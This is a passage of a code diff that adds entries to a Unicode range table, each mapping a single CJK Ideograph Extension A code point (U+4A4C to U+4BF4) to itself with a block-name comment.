+ ["\u4A4C", "\u4A4C"], /* CJK Ideograph Extension A */
+ ["\u4A4D", "\u4A4D"], /* CJK Ideograph Extension A */
+ ["\u4A4E", "\u4A4E"], /* CJK Ideograph Extension A */
+ ["\u4A4F", "\u4A4F"], /* CJK Ideograph Extension A */
+ ["\u4A50", "\u4A50"], /* CJK Ideograph Extension A */
+ ["\u4A51", "\u4A51"], /* CJK Ideograph Extension A */
+ ["\u4A52", "\u4A52"], /* CJK Ideograph Extension A */
+ ["\u4A53", "\u4A53"], /* CJK Ideograph Extension A */
+ ["\u4A54", "\u4A54"], /* CJK Ideograph Extension A */
+ ["\u4A55", "\u4A55"], /* CJK Ideograph Extension A */
+ ["\u4A56", "\u4A56"], /* CJK Ideograph Extension A */
+ ["\u4A57", "\u4A57"], /* CJK Ideograph Extension A */
+ ["\u4A58", "\u4A58"], /* CJK Ideograph Extension A */
+ ["\u4A59", "\u4A59"], /* CJK Ideograph Extension A */
+ ["\u4A5A", "\u4A5A"], /* CJK Ideograph Extension A */
+ ["\u4A5B", "\u4A5B"], /* CJK Ideograph Extension A */
+ ["\u4A5C", "\u4A5C"], /* CJK Ideograph Extension A */
+ ["\u4A5D", "\u4A5D"], /* CJK Ideograph Extension A */
+ ["\u4A5E", "\u4A5E"], /* CJK Ideograph Extension A */
+ ["\u4A5F", "\u4A5F"], /* CJK Ideograph Extension A */
+ ["\u4A60", "\u4A60"], /* CJK Ideograph Extension A */
+ ["\u4A61", "\u4A61"], /* CJK Ideograph Extension A */
+ ["\u4A62", "\u4A62"], /* CJK Ideograph Extension A */
+ ["\u4A63", "\u4A63"], /* CJK Ideograph Extension A */
+ ["\u4A64", "\u4A64"], /* CJK Ideograph Extension A */
+ ["\u4A65", "\u4A65"], /* CJK Ideograph Extension A */
+ ["\u4A66", "\u4A66"], /* CJK Ideograph Extension A */
+ ["\u4A67", "\u4A67"], /* CJK Ideograph Extension A */
+ ["\u4A68", "\u4A68"], /* CJK Ideograph Extension A */
+ ["\u4A69", "\u4A69"], /* CJK Ideograph Extension A */
+ ["\u4A6A", "\u4A6A"], /* CJK Ideograph Extension A */
+ ["\u4A6B", "\u4A6B"], /* CJK Ideograph Extension A */
+ ["\u4A6C", "\u4A6C"], /* CJK Ideograph Extension A */
+ ["\u4A6D", "\u4A6D"], /* CJK Ideograph Extension A */
+ ["\u4A6E", "\u4A6E"], /* CJK Ideograph Extension A */
+ ["\u4A6F", "\u4A6F"], /* CJK Ideograph Extension A */
+ ["\u4A70", "\u4A70"], /* CJK Ideograph Extension A */
+ ["\u4A71", "\u4A71"], /* CJK Ideograph Extension A */
+ ["\u4A72", "\u4A72"], /* CJK Ideograph Extension A */
+ ["\u4A73", "\u4A73"], /* CJK Ideograph Extension A */
+ ["\u4A74", "\u4A74"], /* CJK Ideograph Extension A */
+ ["\u4A75", "\u4A75"], /* CJK Ideograph Extension A */
+ ["\u4A76", "\u4A76"], /* CJK Ideograph Extension A */
+ ["\u4A77", "\u4A77"], /* CJK Ideograph Extension A */
+ ["\u4A78", "\u4A78"], /* CJK Ideograph Extension A */
+ ["\u4A79", "\u4A79"], /* CJK Ideograph Extension A */
+ ["\u4A7A", "\u4A7A"], /* CJK Ideograph Extension A */
+ ["\u4A7B", "\u4A7B"], /* CJK Ideograph Extension A */
+ ["\u4A7C", "\u4A7C"], /* CJK Ideograph Extension A */
+ ["\u4A7D", "\u4A7D"], /* CJK Ideograph Extension A */
+ ["\u4A7E", "\u4A7E"], /* CJK Ideograph Extension A */
+ ["\u4A7F", "\u4A7F"], /* CJK Ideograph Extension A */
+ ["\u4A80", "\u4A80"], /* CJK Ideograph Extension A */
+ ["\u4A81", "\u4A81"], /* CJK Ideograph Extension A */
+ ["\u4A82", "\u4A82"], /* CJK Ideograph Extension A */
+ ["\u4A83", "\u4A83"], /* CJK Ideograph Extension A */
+ ["\u4A84", "\u4A84"], /* CJK Ideograph Extension A */
+ ["\u4A85", "\u4A85"], /* CJK Ideograph Extension A */
+ ["\u4A86", "\u4A86"], /* CJK Ideograph Extension A */
+ ["\u4A87", "\u4A87"], /* CJK Ideograph Extension A */
+ ["\u4A88", "\u4A88"], /* CJK Ideograph Extension A */
+ ["\u4A89", "\u4A89"], /* CJK Ideograph Extension A */
+ ["\u4A8A", "\u4A8A"], /* CJK Ideograph Extension A */
+ ["\u4A8B", "\u4A8B"], /* CJK Ideograph Extension A */
+ ["\u4A8C", "\u4A8C"], /* CJK Ideograph Extension A */
+ ["\u4A8D", "\u4A8D"], /* CJK Ideograph Extension A */
+ ["\u4A8E", "\u4A8E"], /* CJK Ideograph Extension A */
+ ["\u4A8F", "\u4A8F"], /* CJK Ideograph Extension A */
+ ["\u4A90", "\u4A90"], /* CJK Ideograph Extension A */
+ ["\u4A91", "\u4A91"], /* CJK Ideograph Extension A */
+ ["\u4A92", "\u4A92"], /* CJK Ideograph Extension A */
+ ["\u4A93", "\u4A93"], /* CJK Ideograph Extension A */
+ ["\u4A94", "\u4A94"], /* CJK Ideograph Extension A */
+ ["\u4A95", "\u4A95"], /* CJK Ideograph Extension A */
+ ["\u4A96", "\u4A96"], /* CJK Ideograph Extension A */
+ ["\u4A97", "\u4A97"], /* CJK Ideograph Extension A */
+ ["\u4A98", "\u4A98"], /* CJK Ideograph Extension A */
+ ["\u4A99", "\u4A99"], /* CJK Ideograph Extension A */
+ ["\u4A9A", "\u4A9A"], /* CJK Ideograph Extension A */
+ ["\u4A9B", "\u4A9B"], /* CJK Ideograph Extension A */
+ ["\u4A9C", "\u4A9C"], /* CJK Ideograph Extension A */
+ ["\u4A9D", "\u4A9D"], /* CJK Ideograph Extension A */
+ ["\u4A9E", "\u4A9E"], /* CJK Ideograph Extension A */
+ ["\u4A9F", "\u4A9F"], /* CJK Ideograph Extension A */
+ ["\u4AA0", "\u4AA0"], /* CJK Ideograph Extension A */
+ ["\u4AA1", "\u4AA1"], /* CJK Ideograph Extension A */
+ ["\u4AA2", "\u4AA2"], /* CJK Ideograph Extension A */
+ ["\u4AA3", "\u4AA3"], /* CJK Ideograph Extension A */
+ ["\u4AA4", "\u4AA4"], /* CJK Ideograph Extension A */
+ ["\u4AA5", "\u4AA5"], /* CJK Ideograph Extension A */
+ ["\u4AA6", "\u4AA6"], /* CJK Ideograph Extension A */
+ ["\u4AA7", "\u4AA7"], /* CJK Ideograph Extension A */
+ ["\u4AA8", "\u4AA8"], /* CJK Ideograph Extension A */
+ ["\u4AA9", "\u4AA9"], /* CJK Ideograph Extension A */
+ ["\u4AAA", "\u4AAA"], /* CJK Ideograph Extension A */
+ ["\u4AAB", "\u4AAB"], /* CJK Ideograph Extension A */
+ ["\u4AAC", "\u4AAC"], /* CJK Ideograph Extension A */
+ ["\u4AAD", "\u4AAD"], /* CJK Ideograph Extension A */
+ ["\u4AAE", "\u4AAE"], /* CJK Ideograph Extension A */
+ ["\u4AAF", "\u4AAF"], /* CJK Ideograph Extension A */
+ ["\u4AB0", "\u4AB0"], /* CJK Ideograph Extension A */
+ ["\u4AB1", "\u4AB1"], /* CJK Ideograph Extension A */
+ ["\u4AB2", "\u4AB2"], /* CJK Ideograph Extension A */
+ ["\u4AB3", "\u4AB3"], /* CJK Ideograph Extension A */
+ ["\u4AB4", "\u4AB4"], /* CJK Ideograph Extension A */
+ ["\u4AB5", "\u4AB5"], /* CJK Ideograph Extension A */
+ ["\u4AB6", "\u4AB6"], /* CJK Ideograph Extension A */
+ ["\u4AB7", "\u4AB7"], /* CJK Ideograph Extension A */
+ ["\u4AB8", "\u4AB8"], /* CJK Ideograph Extension A */
+ ["\u4AB9", "\u4AB9"], /* CJK Ideograph Extension A */
+ ["\u4ABA", "\u4ABA"], /* CJK Ideograph Extension A */
+ ["\u4ABB", "\u4ABB"], /* CJK Ideograph Extension A */
+ ["\u4ABC", "\u4ABC"], /* CJK Ideograph Extension A */
+ ["\u4ABD", "\u4ABD"], /* CJK Ideograph Extension A */
+ ["\u4ABE", "\u4ABE"], /* CJK Ideograph Extension A */
+ ["\u4ABF", "\u4ABF"], /* CJK Ideograph Extension A */
+ ["\u4AC0", "\u4AC0"], /* CJK Ideograph Extension A */
+ ["\u4AC1", "\u4AC1"], /* CJK Ideograph Extension A */
+ ["\u4AC2", "\u4AC2"], /* CJK Ideograph Extension A */
+ ["\u4AC3", "\u4AC3"], /* CJK Ideograph Extension A */
+ ["\u4AC4", "\u4AC4"], /* CJK Ideograph Extension A */
+ ["\u4AC5", "\u4AC5"], /* CJK Ideograph Extension A */
+ ["\u4AC6", "\u4AC6"], /* CJK Ideograph Extension A */
+ ["\u4AC7", "\u4AC7"], /* CJK Ideograph Extension A */
+ ["\u4AC8", "\u4AC8"], /* CJK Ideograph Extension A */
+ ["\u4AC9", "\u4AC9"], /* CJK Ideograph Extension A */
+ ["\u4ACA", "\u4ACA"], /* CJK Ideograph Extension A */
+ ["\u4ACB", "\u4ACB"], /* CJK Ideograph Extension A */
+ ["\u4ACC", "\u4ACC"], /* CJK Ideograph Extension A */
+ ["\u4ACD", "\u4ACD"], /* CJK Ideograph Extension A */
+ ["\u4ACE", "\u4ACE"], /* CJK Ideograph Extension A */
+ ["\u4ACF", "\u4ACF"], /* CJK Ideograph Extension A */
+ ["\u4AD0", "\u4AD0"], /* CJK Ideograph Extension A */
+ ["\u4AD1", "\u4AD1"], /* CJK Ideograph Extension A */
+ ["\u4AD2", "\u4AD2"], /* CJK Ideograph Extension A */
+ ["\u4AD3", "\u4AD3"], /* CJK Ideograph Extension A */
+ ["\u4AD4", "\u4AD4"], /* CJK Ideograph Extension A */
+ ["\u4AD5", "\u4AD5"], /* CJK Ideograph Extension A */
+ ["\u4AD6", "\u4AD6"], /* CJK Ideograph Extension A */
+ ["\u4AD7", "\u4AD7"], /* CJK Ideograph Extension A */
+ ["\u4AD8", "\u4AD8"], /* CJK Ideograph Extension A */
+ ["\u4AD9", "\u4AD9"], /* CJK Ideograph Extension A */
+ ["\u4ADA", "\u4ADA"], /* CJK Ideograph Extension A */
+ ["\u4ADB", "\u4ADB"], /* CJK Ideograph Extension A */
+ ["\u4ADC", "\u4ADC"], /* CJK Ideograph Extension A */
+ ["\u4ADD", "\u4ADD"], /* CJK Ideograph Extension A */
+ ["\u4ADE", "\u4ADE"], /* CJK Ideograph Extension A */
+ ["\u4ADF", "\u4ADF"], /* CJK Ideograph Extension A */
+ ["\u4AE0", "\u4AE0"], /* CJK Ideograph Extension A */
+ ["\u4AE1", "\u4AE1"], /* CJK Ideograph Extension A */
+ ["\u4AE2", "\u4AE2"], /* CJK Ideograph Extension A */
+ ["\u4AE3", "\u4AE3"], /* CJK Ideograph Extension A */
+ ["\u4AE4", "\u4AE4"], /* CJK Ideograph Extension A */
+ ["\u4AE5", "\u4AE5"], /* CJK Ideograph Extension A */
+ ["\u4AE6", "\u4AE6"], /* CJK Ideograph Extension A */
+ ["\u4AE7", "\u4AE7"], /* CJK Ideograph Extension A */
+ ["\u4AE8", "\u4AE8"], /* CJK Ideograph Extension A */
+ ["\u4AE9", "\u4AE9"], /* CJK Ideograph Extension A */
+ ["\u4AEA", "\u4AEA"], /* CJK Ideograph Extension A */
+ ["\u4AEB", "\u4AEB"], /* CJK Ideograph Extension A */
+ ["\u4AEC", "\u4AEC"], /* CJK Ideograph Extension A */
+ ["\u4AED", "\u4AED"], /* CJK Ideograph Extension A */
+ ["\u4AEE", "\u4AEE"], /* CJK Ideograph Extension A */
+ ["\u4AEF", "\u4AEF"], /* CJK Ideograph Extension A */
+ ["\u4AF0", "\u4AF0"], /* CJK Ideograph Extension A */
+ ["\u4AF1", "\u4AF1"], /* CJK Ideograph Extension A */
+ ["\u4AF2", "\u4AF2"], /* CJK Ideograph Extension A */
+ ["\u4AF3", "\u4AF3"], /* CJK Ideograph Extension A */
+ ["\u4AF4", "\u4AF4"], /* CJK Ideograph Extension A */
+ ["\u4AF5", "\u4AF5"], /* CJK Ideograph Extension A */
+ ["\u4AF6", "\u4AF6"], /* CJK Ideograph Extension A */
+ ["\u4AF7", "\u4AF7"], /* CJK Ideograph Extension A */
+ ["\u4AF8", "\u4AF8"], /* CJK Ideograph Extension A */
+ ["\u4AF9", "\u4AF9"], /* CJK Ideograph Extension A */
+ ["\u4AFA", "\u4AFA"], /* CJK Ideograph Extension A */
+ ["\u4AFB", "\u4AFB"], /* CJK Ideograph Extension A */
+ ["\u4AFC", "\u4AFC"], /* CJK Ideograph Extension A */
+ ["\u4AFD", "\u4AFD"], /* CJK Ideograph Extension A */
+ ["\u4AFE", "\u4AFE"], /* CJK Ideograph Extension A */
+ ["\u4AFF", "\u4AFF"], /* CJK Ideograph Extension A */
+ ["\u4B00", "\u4B00"], /* CJK Ideograph Extension A */
+ ["\u4B01", "\u4B01"], /* CJK Ideograph Extension A */
+ ["\u4B02", "\u4B02"], /* CJK Ideograph Extension A */
+ ["\u4B03", "\u4B03"], /* CJK Ideograph Extension A */
+ ["\u4B04", "\u4B04"], /* CJK Ideograph Extension A */
+ ["\u4B05", "\u4B05"], /* CJK Ideograph Extension A */
+ ["\u4B06", "\u4B06"], /* CJK Ideograph Extension A */
+ ["\u4B07", "\u4B07"], /* CJK Ideograph Extension A */
+ ["\u4B08", "\u4B08"], /* CJK Ideograph Extension A */
+ ["\u4B09", "\u4B09"], /* CJK Ideograph Extension A */
+ ["\u4B0A", "\u4B0A"], /* CJK Ideograph Extension A */
+ ["\u4B0B", "\u4B0B"], /* CJK Ideograph Extension A */
+ ["\u4B0C", "\u4B0C"], /* CJK Ideograph Extension A */
+ ["\u4B0D", "\u4B0D"], /* CJK Ideograph Extension A */
+ ["\u4B0E", "\u4B0E"], /* CJK Ideograph Extension A */
+ ["\u4B0F", "\u4B0F"], /* CJK Ideograph Extension A */
+ ["\u4B10", "\u4B10"], /* CJK Ideograph Extension A */
+ ["\u4B11", "\u4B11"], /* CJK Ideograph Extension A */
+ ["\u4B12", "\u4B12"], /* CJK Ideograph Extension A */
+ ["\u4B13", "\u4B13"], /* CJK Ideograph Extension A */
+ ["\u4B14", "\u4B14"], /* CJK Ideograph Extension A */
+ ["\u4B15", "\u4B15"], /* CJK Ideograph Extension A */
+ ["\u4B16", "\u4B16"], /* CJK Ideograph Extension A */
+ ["\u4B17", "\u4B17"], /* CJK Ideograph Extension A */
+ ["\u4B18", "\u4B18"], /* CJK Ideograph Extension A */
+ ["\u4B19", "\u4B19"], /* CJK Ideograph Extension A */
+ ["\u4B1A", "\u4B1A"], /* CJK Ideograph Extension A */
+ ["\u4B1B", "\u4B1B"], /* CJK Ideograph Extension A */
+ ["\u4B1C", "\u4B1C"], /* CJK Ideograph Extension A */
+ ["\u4B1D", "\u4B1D"], /* CJK Ideograph Extension A */
+ ["\u4B1E", "\u4B1E"], /* CJK Ideograph Extension A */
+ ["\u4B1F", "\u4B1F"], /* CJK Ideograph Extension A */
+ ["\u4B20", "\u4B20"], /* CJK Ideograph Extension A */
+ ["\u4B21", "\u4B21"], /* CJK Ideograph Extension A */
+ ["\u4B22", "\u4B22"], /* CJK Ideograph Extension A */
+ ["\u4B23", "\u4B23"], /* CJK Ideograph Extension A */
+ ["\u4B24", "\u4B24"], /* CJK Ideograph Extension A */
+ ["\u4B25", "\u4B25"], /* CJK Ideograph Extension A */
+ ["\u4B26", "\u4B26"], /* CJK Ideograph Extension A */
+ ["\u4B27", "\u4B27"], /* CJK Ideograph Extension A */
+ ["\u4B28", "\u4B28"], /* CJK Ideograph Extension A */
+ ["\u4B29", "\u4B29"], /* CJK Ideograph Extension A */
+ ["\u4B2A", "\u4B2A"], /* CJK Ideograph Extension A */
+ ["\u4B2B", "\u4B2B"], /* CJK Ideograph Extension A */
+ ["\u4B2C", "\u4B2C"], /* CJK Ideograph Extension A */
+ ["\u4B2D", "\u4B2D"], /* CJK Ideograph Extension A */
+ ["\u4B2E", "\u4B2E"], /* CJK Ideograph Extension A */
+ ["\u4B2F", "\u4B2F"], /* CJK Ideograph Extension A */
+ ["\u4B30", "\u4B30"], /* CJK Ideograph Extension A */
+ ["\u4B31", "\u4B31"], /* CJK Ideograph Extension A */
+ ["\u4B32", "\u4B32"], /* CJK Ideograph Extension A */
+ ["\u4B33", "\u4B33"], /* CJK Ideograph Extension A */
+ ["\u4B34", "\u4B34"], /* CJK Ideograph Extension A */
+ ["\u4B35", "\u4B35"], /* CJK Ideograph Extension A */
+ ["\u4B36", "\u4B36"], /* CJK Ideograph Extension A */
+ ["\u4B37", "\u4B37"], /* CJK Ideograph Extension A */
+ ["\u4B38", "\u4B38"], /* CJK Ideograph Extension A */
+ ["\u4B39", "\u4B39"], /* CJK Ideograph Extension A */
+ ["\u4B3A", "\u4B3A"], /* CJK Ideograph Extension A */
+ ["\u4B3B", "\u4B3B"], /* CJK Ideograph Extension A */
+ ["\u4B3C", "\u4B3C"], /* CJK Ideograph Extension A */
+ ["\u4B3D", "\u4B3D"], /* CJK Ideograph Extension A */
+ ["\u4B3E", "\u4B3E"], /* CJK Ideograph Extension A */
+ ["\u4B3F", "\u4B3F"], /* CJK Ideograph Extension A */
+ ["\u4B40", "\u4B40"], /* CJK Ideograph Extension A */
+ ["\u4B41", "\u4B41"], /* CJK Ideograph Extension A */
+ ["\u4B42", "\u4B42"], /* CJK Ideograph Extension A */
+ ["\u4B43", "\u4B43"], /* CJK Ideograph Extension A */
+ ["\u4B44", "\u4B44"], /* CJK Ideograph Extension A */
+ ["\u4B45", "\u4B45"], /* CJK Ideograph Extension A */
+ ["\u4B46", "\u4B46"], /* CJK Ideograph Extension A */
+ ["\u4B47", "\u4B47"], /* CJK Ideograph Extension A */
+ ["\u4B48", "\u4B48"], /* CJK Ideograph Extension A */
+ ["\u4B49", "\u4B49"], /* CJK Ideograph Extension A */
+ ["\u4B4A", "\u4B4A"], /* CJK Ideograph Extension A */
+ ["\u4B4B", "\u4B4B"], /* CJK Ideograph Extension A */
+ ["\u4B4C", "\u4B4C"], /* CJK Ideograph Extension A */
+ ["\u4B4D", "\u4B4D"], /* CJK Ideograph Extension A */
+ ["\u4B4E", "\u4B4E"], /* CJK Ideograph Extension A */
+ ["\u4B4F", "\u4B4F"], /* CJK Ideograph Extension A */
+ ["\u4B50", "\u4B50"], /* CJK Ideograph Extension A */
+ ["\u4B51", "\u4B51"], /* CJK Ideograph Extension A */
+ ["\u4B52", "\u4B52"], /* CJK Ideograph Extension A */
+ ["\u4B53", "\u4B53"], /* CJK Ideograph Extension A */
+ ["\u4B54", "\u4B54"], /* CJK Ideograph Extension A */
+ ["\u4B55", "\u4B55"], /* CJK Ideograph Extension A */
+ ["\u4B56", "\u4B56"], /* CJK Ideograph Extension A */
+ ["\u4B57", "\u4B57"], /* CJK Ideograph Extension A */
+ ["\u4B58", "\u4B58"], /* CJK Ideograph Extension A */
+ ["\u4B59", "\u4B59"], /* CJK Ideograph Extension A */
+ ["\u4B5A", "\u4B5A"], /* CJK Ideograph Extension A */
+ ["\u4B5B", "\u4B5B"], /* CJK Ideograph Extension A */
+ ["\u4B5C", "\u4B5C"], /* CJK Ideograph Extension A */
+ ["\u4B5D", "\u4B5D"], /* CJK Ideograph Extension A */
+ ["\u4B5E", "\u4B5E"], /* CJK Ideograph Extension A */
+ ["\u4B5F", "\u4B5F"], /* CJK Ideograph Extension A */
+ ["\u4B60", "\u4B60"], /* CJK Ideograph Extension A */
+ ["\u4B61", "\u4B61"], /* CJK Ideograph Extension A */
+ ["\u4B62", "\u4B62"], /* CJK Ideograph Extension A */
+ ["\u4B63", "\u4B63"], /* CJK Ideograph Extension A */
+ ["\u4B64", "\u4B64"], /* CJK Ideograph Extension A */
+ ["\u4B65", "\u4B65"], /* CJK Ideograph Extension A */
+ ["\u4B66", "\u4B66"], /* CJK Ideograph Extension A */
+ ["\u4B67", "\u4B67"], /* CJK Ideograph Extension A */
+ ["\u4B68", "\u4B68"], /* CJK Ideograph Extension A */
+ ["\u4B69", "\u4B69"], /* CJK Ideograph Extension A */
+ ["\u4B6A", "\u4B6A"], /* CJK Ideograph Extension A */
+ ["\u4B6B", "\u4B6B"], /* CJK Ideograph Extension A */
+ ["\u4B6C", "\u4B6C"], /* CJK Ideograph Extension A */
+ ["\u4B6D", "\u4B6D"], /* CJK Ideograph Extension A */
+ ["\u4B6E", "\u4B6E"], /* CJK Ideograph Extension A */
+ ["\u4B6F", "\u4B6F"], /* CJK Ideograph Extension A */
+ ["\u4B70", "\u4B70"], /* CJK Ideograph Extension A */
+ ["\u4B71", "\u4B71"], /* CJK Ideograph Extension A */
+ ["\u4B72", "\u4B72"], /* CJK Ideograph Extension A */
+ ["\u4B73", "\u4B73"], /* CJK Ideograph Extension A */
+ ["\u4B74", "\u4B74"], /* CJK Ideograph Extension A */
+ ["\u4B75", "\u4B75"], /* CJK Ideograph Extension A */
+ ["\u4B76", "\u4B76"], /* CJK Ideograph Extension A */
+ ["\u4B77", "\u4B77"], /* CJK Ideograph Extension A */
+ ["\u4B78", "\u4B78"], /* CJK Ideograph Extension A */
+ ["\u4B79", "\u4B79"], /* CJK Ideograph Extension A */
+ ["\u4B7A", "\u4B7A"], /* CJK Ideograph Extension A */
+ ["\u4B7B", "\u4B7B"], /* CJK Ideograph Extension A */
+ ["\u4B7C", "\u4B7C"], /* CJK Ideograph Extension A */
+ ["\u4B7D", "\u4B7D"], /* CJK Ideograph Extension A */
+ ["\u4B7E", "\u4B7E"], /* CJK Ideograph Extension A */
+ ["\u4B7F", "\u4B7F"], /* CJK Ideograph Extension A */
+ ["\u4B80", "\u4B80"], /* CJK Ideograph Extension A */
+ ["\u4B81", "\u4B81"], /* CJK Ideograph Extension A */
+ ["\u4B82", "\u4B82"], /* CJK Ideograph Extension A */
+ ["\u4B83", "\u4B83"], /* CJK Ideograph Extension A */
+ ["\u4B84", "\u4B84"], /* CJK Ideograph Extension A */
+ ["\u4B85", "\u4B85"], /* CJK Ideograph Extension A */
+ ["\u4B86", "\u4B86"], /* CJK Ideograph Extension A */
+ ["\u4B87", "\u4B87"], /* CJK Ideograph Extension A */
+ ["\u4B88", "\u4B88"], /* CJK Ideograph Extension A */
+ ["\u4B89", "\u4B89"], /* CJK Ideograph Extension A */
+ ["\u4B8A", "\u4B8A"], /* CJK Ideograph Extension A */
+ ["\u4B8B", "\u4B8B"], /* CJK Ideograph Extension A */
+ ["\u4B8C", "\u4B8C"], /* CJK Ideograph Extension A */
+ ["\u4B8D", "\u4B8D"], /* CJK Ideograph Extension A */
+ ["\u4B8E", "\u4B8E"], /* CJK Ideograph Extension A */
+ ["\u4B8F", "\u4B8F"], /* CJK Ideograph Extension A */
+ ["\u4B90", "\u4B90"], /* CJK Ideograph Extension A */
+ ["\u4B91", "\u4B91"], /* CJK Ideograph Extension A */
+ ["\u4B92", "\u4B92"], /* CJK Ideograph Extension A */
+ ["\u4B93", "\u4B93"], /* CJK Ideograph Extension A */
+ ["\u4B94", "\u4B94"], /* CJK Ideograph Extension A */
+ ["\u4B95", "\u4B95"], /* CJK Ideograph Extension A */
+ ["\u4B96", "\u4B96"], /* CJK Ideograph Extension A */
+ ["\u4B97", "\u4B97"], /* CJK Ideograph Extension A */
+ ["\u4B98", "\u4B98"], /* CJK Ideograph Extension A */
+ ["\u4B99", "\u4B99"], /* CJK Ideograph Extension A */
+ ["\u4B9A", "\u4B9A"], /* CJK Ideograph Extension A */
+ ["\u4B9B", "\u4B9B"], /* CJK Ideograph Extension A */
+ ["\u4B9C", "\u4B9C"], /* CJK Ideograph Extension A */
+ ["\u4B9D", "\u4B9D"], /* CJK Ideograph Extension A */
+ ["\u4B9E", "\u4B9E"], /* CJK Ideograph Extension A */
+ ["\u4B9F", "\u4B9F"], /* CJK Ideograph Extension A */
+ ["\u4BA0", "\u4BA0"], /* CJK Ideograph Extension A */
+ ["\u4BA1", "\u4BA1"], /* CJK Ideograph Extension A */
+ ["\u4BA2", "\u4BA2"], /* CJK Ideograph Extension A */
+ ["\u4BA3", "\u4BA3"], /* CJK Ideograph Extension A */
+ ["\u4BA4", "\u4BA4"], /* CJK Ideograph Extension A */
+ ["\u4BA5", "\u4BA5"], /* CJK Ideograph Extension A */
+ ["\u4BA6", "\u4BA6"], /* CJK Ideograph Extension A */
+ ["\u4BA7", "\u4BA7"], /* CJK Ideograph Extension A */
+ ["\u4BA8", "\u4BA8"], /* CJK Ideograph Extension A */
+ ["\u4BA9", "\u4BA9"], /* CJK Ideograph Extension A */
+ ["\u4BAA", "\u4BAA"], /* CJK Ideograph Extension A */
+ ["\u4BAB", "\u4BAB"], /* CJK Ideograph Extension A */
+ ["\u4BAC", "\u4BAC"], /* CJK Ideograph Extension A */
+ ["\u4BAD", "\u4BAD"], /* CJK Ideograph Extension A */
+ ["\u4BAE", "\u4BAE"], /* CJK Ideograph Extension A */
+ ["\u4BAF", "\u4BAF"], /* CJK Ideograph Extension A */
+ ["\u4BB0", "\u4BB0"], /* CJK Ideograph Extension A */
+ ["\u4BB1", "\u4BB1"], /* CJK Ideograph Extension A */
+ ["\u4BB2", "\u4BB2"], /* CJK Ideograph Extension A */
+ ["\u4BB3", "\u4BB3"], /* CJK Ideograph Extension A */
+ ["\u4BB4", "\u4BB4"], /* CJK Ideograph Extension A */
+ ["\u4BB5", "\u4BB5"], /* CJK Ideograph Extension A */
+ ["\u4BB6", "\u4BB6"], /* CJK Ideograph Extension A */
+ ["\u4BB7", "\u4BB7"], /* CJK Ideograph Extension A */
+ ["\u4BB8", "\u4BB8"], /* CJK Ideograph Extension A */
+ ["\u4BB9", "\u4BB9"], /* CJK Ideograph Extension A */
+ ["\u4BBA", "\u4BBA"], /* CJK Ideograph Extension A */
+ ["\u4BBB", "\u4BBB"], /* CJK Ideograph Extension A */
+ ["\u4BBC", "\u4BBC"], /* CJK Ideograph Extension A */
+ ["\u4BBD", "\u4BBD"], /* CJK Ideograph Extension A */
+ ["\u4BBE", "\u4BBE"], /* CJK Ideograph Extension A */
+ ["\u4BBF", "\u4BBF"], /* CJK Ideograph Extension A */
+ ["\u4BC0", "\u4BC0"], /* CJK Ideograph Extension A */
+ ["\u4BC1", "\u4BC1"], /* CJK Ideograph Extension A */
+ ["\u4BC2", "\u4BC2"], /* CJK Ideograph Extension A */
+ ["\u4BC3", "\u4BC3"], /* CJK Ideograph Extension A */
+ ["\u4BC4", "\u4BC4"], /* CJK Ideograph Extension A */
+ ["\u4BC5", "\u4BC5"], /* CJK Ideograph Extension A */
+ ["\u4BC6", "\u4BC6"], /* CJK Ideograph Extension A */
+ ["\u4BC7", "\u4BC7"], /* CJK Ideograph Extension A */
+ ["\u4BC8", "\u4BC8"], /* CJK Ideograph Extension A */
+ ["\u4BC9", "\u4BC9"], /* CJK Ideograph Extension A */
+ ["\u4BCA", "\u4BCA"], /* CJK Ideograph Extension A */
+ ["\u4BCB", "\u4BCB"], /* CJK Ideograph Extension A */
+ ["\u4BCC", "\u4BCC"], /* CJK Ideograph Extension A */
+ ["\u4BCD", "\u4BCD"], /* CJK Ideograph Extension A */
+ ["\u4BCE", "\u4BCE"], /* CJK Ideograph Extension A */
+ ["\u4BCF", "\u4BCF"], /* CJK Ideograph Extension A */
+ ["\u4BD0", "\u4BD0"], /* CJK Ideograph Extension A */
+ ["\u4BD1", "\u4BD1"], /* CJK Ideograph Extension A */
+ ["\u4BD2", "\u4BD2"], /* CJK Ideograph Extension A */
+ ["\u4BD3", "\u4BD3"], /* CJK Ideograph Extension A */
+ ["\u4BD4", "\u4BD4"], /* CJK Ideograph Extension A */
+ ["\u4BD5", "\u4BD5"], /* CJK Ideograph Extension A */
+ ["\u4BD6", "\u4BD6"], /* CJK Ideograph Extension A */
+ ["\u4BD7", "\u4BD7"], /* CJK Ideograph Extension A */
+ ["\u4BD8", "\u4BD8"], /* CJK Ideograph Extension A */
+ ["\u4BD9", "\u4BD9"], /* CJK Ideograph Extension A */
+ ["\u4BDA", "\u4BDA"], /* CJK Ideograph Extension A */
+ ["\u4BDB", "\u4BDB"], /* CJK Ideograph Extension A */
+ ["\u4BDC", "\u4BDC"], /* CJK Ideograph Extension A */
+ ["\u4BDD", "\u4BDD"], /* CJK Ideograph Extension A */
+ ["\u4BDE", "\u4BDE"], /* CJK Ideograph Extension A */
+ ["\u4BDF", "\u4BDF"], /* CJK Ideograph Extension A */
+ ["\u4BE0", "\u4BE0"], /* CJK Ideograph Extension A */
+ ["\u4BE1", "\u4BE1"], /* CJK Ideograph Extension A */
+ ["\u4BE2", "\u4BE2"], /* CJK Ideograph Extension A */
+ ["\u4BE3", "\u4BE3"], /* CJK Ideograph Extension A */
+ ["\u4BE4", "\u4BE4"], /* CJK Ideograph Extension A */
+ ["\u4BE5", "\u4BE5"], /* CJK Ideograph Extension A */
+ ["\u4BE6", "\u4BE6"], /* CJK Ideograph Extension A */
+ ["\u4BE7", "\u4BE7"], /* CJK Ideograph Extension A */
+ ["\u4BE8", "\u4BE8"], /* CJK Ideograph Extension A */
+ ["\u4BE9", "\u4BE9"], /* CJK Ideograph Extension A */
+ ["\u4BEA", "\u4BEA"], /* CJK Ideograph Extension A */
+ ["\u4BEB", "\u4BEB"], /* CJK Ideograph Extension A */
+ ["\u4BEC", "\u4BEC"], /* CJK Ideograph Extension A */
+ ["\u4BED", "\u4BED"], /* CJK Ideograph Extension A */
+ ["\u4BEE", "\u4BEE"], /* CJK Ideograph Extension A */
+ ["\u4BEF", "\u4BEF"], /* CJK Ideograph Extension A */
+ ["\u4BF0", "\u4BF0"], /* CJK Ideograph Extension A */
+ ["\u4BF1", "\u4BF1"], /* CJK Ideograph Extension A */
+ ["\u4BF2", "\u4BF2"], /* CJK Ideograph Extension A */
+ ["\u4BF3", "\u4BF3"], /* CJK Ideograph Extension A */
+ ["\u4BF4", "\u4BF4"], /* CJK Ideograph Extension A */
